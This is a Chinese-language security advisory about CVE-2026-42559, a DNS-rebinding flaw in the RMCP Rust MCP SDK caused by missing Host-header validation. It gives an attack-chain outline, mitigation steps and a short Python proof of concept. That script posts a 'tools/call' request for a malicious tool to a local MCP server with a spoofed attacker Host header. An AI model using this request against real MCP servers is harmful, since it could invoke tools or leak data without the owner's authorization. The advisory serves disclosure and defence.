IPBUF安全漏洞报告
English
CVE-2026-42559 CVSS 8.8 高危

CVE-2026-42559 RMCP Host头验证缺失漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-42559
漏洞类型
DNS重绑定
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
RMCP (Rust SDK for Model Context Protocol)

相关标签

DNS重绑定SSRFHost头注入RMCPRust

漏洞概述

RMCP是Rust语言官方的模型上下文协议(MCP)SDK。在1.4.0版本之前,其Streamable HTTP服务器传输层未对传入的Host头进行验证。该漏洞允许恶意网站通过DNS重绑定攻击,向受害者本地回环或私有网络接口上运行的MCP服务器发送经过身份验证的请求,从而可能导致敏感信息泄露或服务器被控制。

技术细节

该漏洞的核心在于RMCP的Streamable HTTP服务器传输层在处理请求时,未对HTTP头部中的Host字段进行严格校验。攻击者利用这一缺陷,结合DNS重绑定攻击技术实施入侵。首先,攻击者诱导受害者访问恶意网站,该网站控制着响应的DNS解析。攻击者将域名初始解析为攻击者的服务器IP,获取浏览器的连接,随后迅速将DNS记录切换至受害者的本地回环地址(如127.0.0.1)或内网IP。由于HTTP请求中Host头仍指向攻击者的域名(或浏览器自动填充),而MCP服务器未验证该Host是否匹配预期,导致服务器错误地信任了该请求。这使得攻击者能够绕过同源策略和防火墙限制,向运行在内网的MCP服务发送经过认证的恶意请求,进而窃取数据或执行未经授权的操作。

攻击链分析

STEP 1
Step 1: Initial Access
攻击者诱导受害者访问一个恶意控制的网站。
STEP 2
Step 2: DNS Rebinding Setup
恶意网站响应受害者的浏览器请求,利用DNS重绑定技术,将域名解析IP快速从攻击者服务器切换到受害者本地地址(127.0.0.1)。
STEP 3
Step 3: Request Forgery
受害者的浏览器向本地IP发起HTTP请求。由于服务器未验证Host头,请求被误认为是合法的。
STEP 4
Step 4: Exploitation
MCP服务器处理请求,可能执行敏感操作或返回数据给攻击者控制的网站。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Conceptual PoC demonstrating the impact of missing Host header validation # Attacker side script to simulate the request sent after DNS rebinding import requests def exploit_local_mcp(target_ip, target_port, malicious_host): """ Simulates a request sent by a browser to a local service after DNS rebinding. The Host header is set to the attacker's domain to bypass potential checks that might rely on it, though in this specific vuln, the check is MISSING. """ url = f"http://{target_ip}:{target_port}/api/endpoint" headers = { "Host": malicious_host, # The server fails to validate this "User-Agent": "Mozilla/5.0 (Attacker Browser)", "Content-Type": "application/json" } # Malicious payload to be executed on the local server payload = { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "malicious_tool", "arguments": {} }, "id": 1 } try: response = requests.post(url, json=payload, headers=headers, timeout=5) print(f"[+] Request sent to {url} with Host: {malicious_host}") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") except Exception as e: print(f"[-] Exploit failed: {e}") # Usage Example # exploit_local_mcp("127.0.0.1", 8080, "attacker.com")

影响范围

RMCP < 1.4.0

防御指南

临时缓解措施
建议立即升级RMCP SDK至1.4.0或更高版本。若无法立即升级,请确保服务仅监听受信任的接口,并在反向代理层(如Nginx)强制校验Host头部,拒绝不符合白名单的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表